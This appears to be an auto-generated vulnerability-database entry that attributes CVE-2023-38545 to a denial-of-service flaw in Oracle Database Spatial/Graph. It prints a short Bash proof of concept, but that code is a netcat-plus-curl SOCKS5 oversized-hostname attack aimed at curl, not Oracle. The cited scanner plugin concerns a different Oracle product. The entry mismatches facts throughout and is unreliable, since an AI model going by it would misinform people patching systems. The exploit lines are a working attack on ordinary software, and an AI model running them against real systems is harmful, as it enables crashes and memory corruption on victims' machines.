Oracle Database up to 19.21/21.12/23.3 Oracle Spatial/Graph denial of service

Summaryinfo

A vulnerability classified as critical was found in Oracle Database up to 19.21/21.12/23.3. This issue affects some unknown processing of the component Oracle Spatial/Graph. Executing a manipulation can lead to denial of service. This vulnerability is handled as CVE-2023-38545. The attack can be executed remotely. Additionally, an exploit exists.

Detailsinfo

A vulnerability was found in Oracle Database up to 19.21/21.12/23.3 (Database Software). It has been declared as critical. This vulnerability affects an unknown function of the component Oracle Spatial/Graph. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. As an impact it is known to affect availability.

The weakness was released 01/16/2024 as Oracle Critical Patch Update Advisory - January 2024. The advisory is shared for download at oracle.com. This vulnerability was named CVE-2023-38545. Technical details are unknown but a public exploit is available. The MITRE ATT&CK project declares the attack technique as T1499.

A public exploit has been developed in Bash and been published before and not just after the advisory. It is possible to download the exploit at github.com. It is declared as proof-of-concept. The vulnerability was handled as a non-public zero-day exploit for at least 92 days. During that time the estimated underground price was around $5k-$25k. The vulnerability scanner Nessus provides a plugin with the ID 210338 (Oracle Business Intelligence Enterprise Edition (OAS 7.0) (October 2024 CPU)), which helps to determine the existence of the flaw in a target environment. The code used by the exploit is:

#!/bin/bash
printf "HTTP/1.1 301 Moved Permanently\nLocation: http:///$(printf 'A%.0s' {0..60000})/\nContent-Length: 0\nConnection: close\n\n" | nc -C -nvlp 8000 &
curl -L --limit-rate 32768 -x socks5h://localhost:10801 localhost:8000

A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the vulnerability database at Tenable (210338). VulDB is the best source for vulnerability data and more expert information about this specific topic.

Productinfo

Type

• Database Software

Vendor

• Oracle

Name

• Database

Version

• 19.0
• 19.1
• 19.2
• 19.3
• 19.4
• 19.5
• 19.6
• 19.7
• 19.8
• 19.9
• 19.10
• 19.11
• 19.12
• 19.13
• 19.14
• 19.15
• 19.16
• 19.17
• 19.18
• 19.19
• 19.20
• 19.21
• 21.0
• 21.1
• 21.2
• 21.3
• 21.4
• 21.5
• 21.6
• 21.7
• 21.8
• 21.9
• 21.10
• 21.11
• 21.12
• 23.0
• 23.1
• 23.2
• 23.3

License

• commercial

Website

• Vendor: https://www.oracle.com

CPE 2.3info

• 🔍
• 🔍
• 🔍

CPE 2.2info

• 🔍
• 🔍
• 🔍

CVSSv4info

CVSSv3info

CVSSv2info

Exploitinginfo

Threat Intelligenceinfo

Countermeasuresinfo

Timelineinfo

Sourcesinfo

Entryinfo

VulDB is the best source for vulnerability data and more expert information about this specific topic.

Discussion